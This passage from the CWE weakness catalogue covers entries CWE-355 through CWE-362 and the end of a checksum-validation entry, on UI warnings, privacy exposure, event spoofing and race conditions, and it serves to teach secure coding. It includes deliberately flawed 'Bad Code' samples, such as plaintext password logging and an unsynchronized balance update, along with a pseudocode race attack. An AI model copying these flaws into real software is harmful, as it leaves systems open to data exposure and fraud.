Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Other

##### Modify application data

##### Other

Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.

##### Integrity

##### Other

##### Other

Data that is parsed and used may be corrupted.

## Non-Repudiation

### Other

### Hide activities

### Other

Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.

## Likelihood of Exploit

Medium

## Demonstrative Examples

### C/C++ Example:

*Bad Code*

```
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    cliilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &cliilen);
}
```

### Java Example:

*Bad Code*

```
while(true) {
    DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
    socket.send(sendPacket);
}
```

## Potential Mitigations

### Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		345	Insufficient Verification of Data Authenticity		<b>699</b> <b>1000</b> 600
PeerOf		353	Missing Support for Integrity Check		1000 616
ChildOf		754	Improper Check for Unusual or Exceptional Conditions		1000 1143
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling		<b>888</b> 1391
MemberOf		884	<i>CWE Cross-section</i>		<b>884</b> 1319

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to check integrity check value

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
75	Manipulating Writeable Configuration Files	
463	Padding Oracle Crypto Attack	

# CWE-355: User Interface Security Issues

Category ID: 355 (Category)

Status: Draft

## Description

### Summary

Weaknesses in this category are related to or introduced in the User Interface (UI).

## Applicable Platforms

### Languages

- All

## Relationships



Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	699	452
ParentOf	B	356	Product UI does not Warn User of Unsafe Actions	699	620
ParentOf	B	357	Insufficient UI Warning of Dangerous Operations	699	621
ParentOf	V	549	Missing Password Field Masking	699	887

### Research Gaps

User interface errors that are relevant to security have not been studied at a high level.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	(UI) User Interface Errors

## CWE-356: Product UI does not Warn User of Unsafe Actions

**Weakness ID:** 356 (*Weakness Base*) **Status:** Incomplete

### Description

#### Summary

The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

#### Extended Description

Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Non-Repudiation

#### Hide activities

### Observed Examples

Reference	Description
CVE-1999-0794	Product does not warn user when document contains certain dangerous functions or macros.
CVE-1999-1055	Product does not warn user when document contains certain dangerous functions or macros.
CVE-2000-0277	Product does not warn user when document contains certain dangerous functions or macros.
CVE-2000-0342	E-mail client allows bypass of warning for dangerous attachments via a Windows .LNK file that refers to the attachment.
CVE-2000-0517	Product does not warn user about a certificate if it has already been accepted for a different site. Possibly resultant.
CVE-2005-0602	File extractor does not warn user if setuid/setgid files could be extracted. Overlaps privileges/permissions.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	221	Information Loss or Omission	1000	413
ChildOf	C	355	User Interface Security Issues	699	619
ChildOf	C	996	SFP Secondary Cluster: Security	888	1392

### Relationship Notes

Often resultant, e.g. in unhandled error conditions.

Can overlap privilege errors, conceptually at least.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Product UI does not warn user of unsafe actions

## CWE-357: Insufficient UI Warning of Dangerous Operations

Weakness ID: 357 (Weakness Base)

Status: Draft

### Description

#### Summary

The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences





##### Non-Repudiation

##### Hide activities

#### Observed Examples

Reference	Description
CVE-2007-1099	User not sufficiently warned if host key mismatch occurs

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		355	User Interface Security Issues	<input checked="" type="checkbox"/>	699 619
ChildOf		693	Protection Mechanism Failure		1000 1074
ChildOf		996	SFP Secondary Cluster: Security		888 1392
ParentOf		450	Multiple Interpretations of UI Input		1000 762

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient UI warning of dangerous operations

## CWE-358: Improperly Implemented Security Check for Standard

Weakness ID: 358 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Modes of Introduction

This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.

#### Common Consequences

**Access Control****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-2002-0862	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2002-0970	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2002-1407	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2004-2163	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.
CVE-2005-0198	Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5).
CVE-2005-2181	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
CVE-2005-2182	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
CVE-2005-2298	Security check not applied to all components, allowing bypass.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		254	Security Features	<b>699</b>	452
CanAlsoBe		290	Authentication Bypass by Spoofing	1000	514
CanAlsoBe		345	Insufficient Verification of Data Authenticity	1000	600
ChildOf		573	Improper Following of Specification by Caller	<b>1000</b>	910
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		978	SFP Secondary Cluster: Implementation	<b>888</b>	1383
PeerOf		325	<i>Missing Required Cryptographic Step</i>	1000	570

**Relationship Notes**

This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Improperly Implemented Security Check for Standard

## CWE-359: Exposure of Private Information ('Privacy Violation')

**Weakness ID:** 359 (*Weakness Class*)

**Status:** Incomplete

**Description****Summary**

The software does not properly prevent private data (such as credit card numbers) from being accessed by actors who either (1) are not explicitly authorized to access the data or (2) do not have the implicit consent of the people to which the data is related.

**Extended Description**

Mishandling private information, such as customer passwords or Social Security numbers, can compromise user privacy and is often illegal. An exposure of private information does not necessarily prevent the software from working properly, and in fact it might be intended by the developer, but it can still be undesirable (or explicitly prohibited by law) for the people who are associated with this private information.

Privacy violations may occur when:

- Private user information enters the program.

- The data is written to an external location, such as the console, file system, or network.

Private data can enter a program in a variety of ways:

Directly from the user in the form of a password or personal information

Accessed from a database or other data store by the application

Indirectly from a partner or other third party

Some types of private information include:

Government identifiers, such as Social Security Numbers

Contact information, such as home addresses and telephone numbers

Geographic location - where the user is (or was)

Employment history

Financial data - such as credit card numbers, salary, bank accounts, and debts

Pictures, video, or audio

Behavioral patterns - such as web surfing history, when certain activities are performed, etc.

Relationships (and types of relationships) with others - family, friends, contacts, etc.

Communications - e-mail addresses, private e-mail messages, SMS text messages, chat logs, etc.

Health - medical conditions, insurance status, prescription records

Credentials, such as passwords, which can be used to access other information.

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Depending on its location, the type of business it conducts, and the nature of any private data it handles, an organization may be required to comply with one or more of the following federal and state regulations: - Safe Harbor Privacy Framework [R.359.2] - Gramm-Leach Bliley Act (GLBA) [R.359.3] - Health Insurance Portability and Accountability Act (HIPAA) [R.359.4] - California SB-1386 [R.359.5].

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable to store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

#### Alternate Terms

**Privacy leak**

**Privacy leakage**

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- Language-independent

##### Architectural Paradigms

- Mobile Application

#### Common Consequences

**Confidentiality****Read application data****Demonstrative Examples****Example 1:**

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [R.359.1]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

**Example 2:**

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

**C# Example:***Bad Code*

```
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

**Example 3:**

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS\_FINE\_LOCATION permission in the application's manifest.xml:

**XML Example:***Bad Code*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

**Java Example:***Bad Code*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS\_FINE\_LOCATION permission, as the ACCESS\_COARSE\_LOCATION permission will be sufficient to identify which US state the user is in.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		200	Information Exposure	<b>1000</b>	384
ChildOf		254	Security Features	<b>699</b> <b>700</b>	452
ChildOf		857	CERT Java Secure Coding Section 12 - Input Output (FIO)	<b>844</b>	1296
ChildOf		975	SFP Secondary Cluster: Architecture	<b>888</b>	1382
ParentOf		202	<i>Exposure of Sensitive Data Through Data Queries</i>	<b>1000</b>	389

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Privacy Violation
CERT Java Secure Coding	FIO13-J	Do not log sensitive information outside a trust boundary

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
464	Evercookie	
467	Cross Site Identification	

## References

- J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005. < [http://www.theregister.co.uk/2005/02/07/aol\\_email\\_theft/](http://www.theregister.co.uk/2005/02/07/aol_email_theft/) >.
- NIST. "Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)". April 2010. < <http://csrc.nist.gov/publications/nistpubs/800-122/sp800-122.pdf> >.
- [REF-2] U.S. Department of Commerce. "Safe Harbor Privacy Framework". < <http://www.export.gov/safeharbor/> >.
- [REF-3] Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)". < <http://www.ftc.gov/privacy/glbact/index.html> >.
- [REF-4] U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)". < <http://www.hhs.gov/ocr/hipaa/> >.
- [REF-5] Government of the State of California. "California SB-1386". 2002. < [http://info.sen.ca.gov/pub/01-02/bill/sen/sb\\_1351-1400/sb\\_1386\\_bill\\_20020926\\_chaptered.html](http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html) >.
- [REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.
- [REF-33] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

# CWE-360: Trust of System Event Data

Weakness ID: 360 (*Weakness Base*)

Status: Incomplete

## Description

### Summary

Security based on event locations are insecure and can be spoofed.

### Extended Description

Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Integrity

### Confidentiality

### Availability

### Access Control

### Gain privileges / assume identity

### Execute unauthorized code or commands

If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.

## Likelihood of Exploit

High

## Demonstrative Examples

This example code prints out secret information when an authorized user activates a button:

### Java Example:

*Bad Code*

```
public void actionPerformed(ActionEvent e) {
    if (e.getSource() == button) {
```



```
System.out.println("print out secret information");
}
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

### Potential Mitigations

#### Architecture and Design

Never trust or rely any of the information in an Event for security.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		345	Insufficient Verification of Data Authenticity	<b>699</b> <b>1000</b>	600
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	<b>888</b>	1372
ParentOf		422	<i>Unprotected Windows Messaging Channel ('Shatter')</i>	1000	725

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Trust of system event data
Software Fault Patterns	SFP29	Faulty endpoint authentication

## CWE-361: Time and State

Category ID: 361 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads.

#### Extended Description

Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		18	Source Code	<b>699</b>	17
ParentOf		362	<i>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</i>	<b>699</b>	627
ParentOf		364	<i>Signal Handler Race Condition</i>	<b>700</b>	635
ParentOf		367	<i>Time-of-check Time-of-use (TOCTOU) Race Condition</i>	<b>700</b>	642
ParentOf		371	<i>State Issues</i>	<b>699</b>	650
ParentOf		376	<i>Temporary File Issues</i>	<b>699</b> <b>700</b>	655
ParentOf		377	<i>Insecure Temporary File</i>	<b>700</b>	655
ParentOf		380	<i>Technology-Specific Time and State Issues</i>	<b>699</b>	661
ParentOf		382	<i>J2EE Bad Practices: Use of System.exit()</i>	<b>700</b>	661
ParentOf		383	<i>J2EE Bad Practices: Direct Use of Threads</i>	<b>700</b>	662
ParentOf		384	<i>Session Fixation</i>	<b>699</b>	663



Nature	Type	ID	Name	V	Page
				700	
ParentOf	B	385	Covert Timing Channel	699	666
ParentOf	B	386	Symbolic Name not Mapping to Correct Object	699	667
ParentOf	C	387	Signal Errors	699	668
ParentOf	B	412	Unrestricted Externally Accessible Lock	699	711
				700	
ParentOf	C	557	Concurrency Issues	699	893
ParentOf	B	609	Double-Checked Locking	699	955
ParentOf	B	613	Insufficient Session Expiration	699	960
ParentOf	B	662	Improper Synchronization	699	1024
ParentOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	699	1025
ParentOf	C	664	Improper Control of a Resource Through its Lifetime	699	1026
ParentOf	C	668	Exposure of Resource to Wrong Sphere	699	1035
ParentOf	C	669	Incorrect Resource Transfer Between Spheres	699	1036
ParentOf	B	672	Operation on a Resource after Expiration or Release	699	1039
ParentOf	C	673	External Influence of Sphere Definition	699	1041
ParentOf	B	674	Uncontrolled Recursion	699	1042
ParentOf	C	691	Insufficient Control Flow Management	699	1072
ParentOf	B	698	Execution After Redirect (EAR)	699	1079
MemberOf	V	700	Seven Pernicious Kingdoms	700	1081

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Time and State

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
61	Session Fixation	
196	Session Credential Falsification through Forging	

## CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362 (Weakness Class)

Status: Draft

### Description

#### Summary

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

#### Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.

Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- C (*Sometimes*)
- C++ (*Sometimes*)
- Java (*Sometimes*)
- Language-independent

##### Architectural Paradigms

- Concurrent Systems Operating on Shared Resources (*Often*)

#### Common Consequences

##### Availability

##### DoS: resource consumption (CPU)

##### DoS: resource consumption (memory)

##### DoS: resource consumption (other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).

##### Availability

##### DoS: crash / exit / restart

##### DoS: instability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.

##### Confidentiality

##### Integrity

##### Read files or directories

##### Read application data

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

#### Likelihood of Exploit

Medium

#### Detection Methods

##### Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become unstable or crash. However, race conditions with very narrow timing windows would not be detectable.

##### White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

**Automated Dynamic Analysis****Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Framework-based Fuzzer

Cost effective for partial coverage:

Fuzz Tester

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

**Perl Example:***Bad Code*

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
    FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
    FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

A race condition could occur between the calls to `GetBalanceFromDatabase()` and `SendNewBalanceToDatabase()`.

Suppose the balance is initially 100.00. An attack could be constructed as follows:

**PseudoCode Example:***Attack*

```
The attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00
```

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between `GetBalanceFromDatabase()` and `SendNewBalanceToDatabase()`.

**Example 2:**

The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:***Bad Code*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Good Code

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

### Observed Examples

Reference	Description
CVE-2007-3970	Race condition in file parser leads to heap corruption.
CVE-2007-5794	Race condition in library function could cause data to be sent to the wrong process.
CVE-2007-6180	chain: race condition triggers NULL pointer dereference
CVE-2007-6599	Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
CVE-2008-0058	Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
CVE-2008-0379	Race condition during initialization triggers a buffer overflow.
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-5021	chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
CVE-2008-5044	Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
CVE-2009-4895	chain: race condition for an argument value, possibly resulting in NULL dereference

### Potential Mitigations

#### Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

#### Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

#### Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

#### Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

#### Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x+". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

**Implementation**

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

**Implementation**

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

**Implementation**

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

**Implementation**

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.362.11]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		361	Time and State	<b>699</b>	626
ChildOf		691	Insufficient Control Flow Management	<b>1000</b>	1072
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	<b>734</b>	1135
ChildOf		751	2009 Top 25 - Insecure Interaction Between Components	<b>750</b>	1142
ChildOf		801	2010 Top 25 - Insecure Interaction Between Components	<b>800</b>	1228
ChildOf		852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)	<b>844</b>	1294
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	<b>900</b>	1310
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf		882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	<b>868</b>	1318
ChildOf		988	SFP Secondary Cluster: Race Condition Window	<b>888</b>	1387
RequiredBy		61	<i>UNIX Symbolic Link (Symlink) Following</i>	1000	95
ParentOf		364	<i>Signal Handler Race Condition</i>	<b>699</b>	635
				<b>1000</b>	
ParentOf		366	<i>Race Condition within a Thread</i>	<b>699</b>	640
				<b>1000</b>	
ParentOf		367	<i>Time-of-check Time-of-use (TOCTOU) Race Condition</i>	<b>699</b>	642
				<b>1000</b>	
ParentOf		368	<i>Context Switching Race Condition</i>	<b>699</b>	645
				<b>1000</b>	
ParentOf		421	<i>Race Condition During Access to Alternate Channel</i>	699	724
				1000	
CanAlsoBe		557	<i>Concurrency Issues</i>	1000	893
MemberOf		635	<i>Weaknesses Used by NVD</i>	<b>635</b>	983
CanFollow		662	<i>Improper Synchronization</i>	699	1024
				1000	
RequiredBy		689	<i>Permission Race Condition During Resource Copy</i>	1000	1070

**Research Gaps**

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.



## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Race Conditions
CERT C Secure Coding	FIO31-C	Do not simultaneously open the same file multiple times
CERT Java Secure Coding	VNA03-J	Do not assume that a group of calls to independently atomic methods is atomic
CERT C++ Secure Coding	FIO31-CPP	Do not simultaneously open the same file multiple times
CERT C++ Secure Coding	CON02-CPP	Use lock classes for mutex management

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

## References

- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
